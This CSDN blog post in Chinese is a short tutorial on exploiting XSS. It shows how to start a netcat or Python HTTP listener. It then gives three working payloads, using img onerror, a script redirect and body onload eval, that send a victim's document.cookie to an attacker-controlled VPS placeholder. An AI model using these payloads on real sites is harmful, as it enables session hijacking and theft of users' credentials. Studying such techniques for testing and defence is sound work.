XSS利用方式

最新推荐文章于 2023-05-29 19:57:00 发布

猫星人不会笑

最新推荐文章于 2023-05-29 19:57:00 发布

阅读量8.9k

点赞数 1

分类专栏：安全 XSS 文章标签： XSS 安全 XSS利用

本文链接：https://blog.csdn.net/u011215939/article/details/79076785

版权

33 篇文章 4 订阅

订阅专栏

3 篇文章 0 订阅

订阅专栏

学习XSS注入很久了，XSS主要的情况三分天下：反射型、存储型、DOM型；今天要研究的是XSS的利用，曾经有人问我XSS怎么利用的，我也只知道XSS在网页中嵌入代码，获取目标IP、Cookie，但是从来没有实践过，今天浏览FreeBuf时，发现一篇XSS利用文章，哈哈哈……于是乎，实践一下……

为了获取目标IP及ookie，实践开始之前，需要准备一个东西：VPS，但是我没办法准备，所以只好一些简单的方法：基本的思想是，获取目标IP，将IP返回到我们指定的IP端口上，我们监听这个端口，获取返回的IP信息。

如果系统中有NC，可以运行命令：

nc -vil 8080

这里写图片描述

只要安装了python，并添加了环境变量，就可以在DOS中运行：

Python -m SimpleHTTPServer 8080

这里写图片描述

注意：这个命令只能在DOS中运行，不能在python交互式环境中运行，否则会出现如下情况：

注意：以上两种方法的DOS窗口都不能关闭，否则失败。

<img src=x onerror = document.body.appendChild(document.createElement('img')).setAttribute('src','http://VPS地址:80/?='+document.cookie); >

<script>window.location.href='http://VPS地址/?cookie='+document.cookie</script>

<body onload=eval(“document.body.appendChild(document.createElement('img')).setAttribute('src','http://VPS地址/?='+document.cookie);”)></body>

其实XSS还有其他利用方法，需要更加深入的研究、发掘。但是仅仅获取目标IP绰绰有余了。
参考文章：(http://www.freebuf.com/sectool/159689.html)

关注